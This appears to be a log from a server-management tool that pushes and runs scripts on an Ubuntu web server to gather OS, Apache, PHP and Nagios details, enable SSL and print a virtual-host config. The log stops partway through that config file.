2026-03-31 11:30:54: 

PUT: /tmp/pkp776822

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-31 11:30:54: 

chmod 755 /tmp/pkp776822; /tmp/pkp776822; rm /tmp/pkp776822

2026-03-31 11:30:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-31 11:30:55: Performing Server Status
2026-03-31 11:30:55: 

PUT: /tmp/pkp319163

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:30:55: 

chmod 755 /tmp/pkp319163; /tmp/pkp319163; rm /tmp/pkp319163

2026-03-31 11:30:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-106-generic



2026-03-31 11:30:55: 

PUT: /tmp/pkp863444

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-31 11:30:55: 

chmod 755 /tmp/pkp863444; /tmp/pkp863444; rm /tmp/pkp863444

2026-03-31 11:30:55: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 446159
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      446159  0.0  0.9 261228 39484 ?        Ss   Mar24   1:17 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-31 11:30:55: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2026-03-31 11:30:55: 

PUT: /tmp/pkp623703

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-31 11:30:55: 

chmod 755 /tmp/pkp623703; /tmp/pkp623703; rm /tmp/pkp623703

2026-03-31 11:30:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-31 11:30:55: 

PUT: /tmp/pkp132169

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-31 11:30:55: 

chmod 755 /tmp/pkp132169; /tmp/pkp132169; rm /tmp/pkp132169

2026-03-31 11:30:56: 


[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-03-31 11:30:56: 

PUT: /tmp/pkp380255

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-31 11:30:56: 

chmod 755 /tmp/pkp380255; /tmp/pkp380255; rm /tmp/pkp380255

2026-03-31 11:30:56: 
(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 995fee4c636b92ff7c52c503adce3e2f
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= f0d82d7673bc8aac8a03809b832861e0
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2026-03-31 11:30:56: 

PUT: /tmp/pkp241539

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-31 11:30:56: 

chmod 755 /tmp/pkp241539; /tmp/pkp241539; rm /tmp/pkp241539

2026-03-31 11:30:56: 


status=ok


2026-03-31 11:30:56: 

PUT: /tmp/pkp883167

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:30:56: 

chmod 755 /tmp/pkp883167; /tmp/pkp883167; rm /tmp/pkp883167

2026-03-31 11:30:56: 
2026-03-31 11:30:56: 

PUT: /tmp/pkp845250

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_hub_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:30:56: 

chmod 755 /tmp/pkp845250; /tmp/pkp845250; rm /tmp/pkp845250

2026-03-31 11:30:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_hub_us.conf	460

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
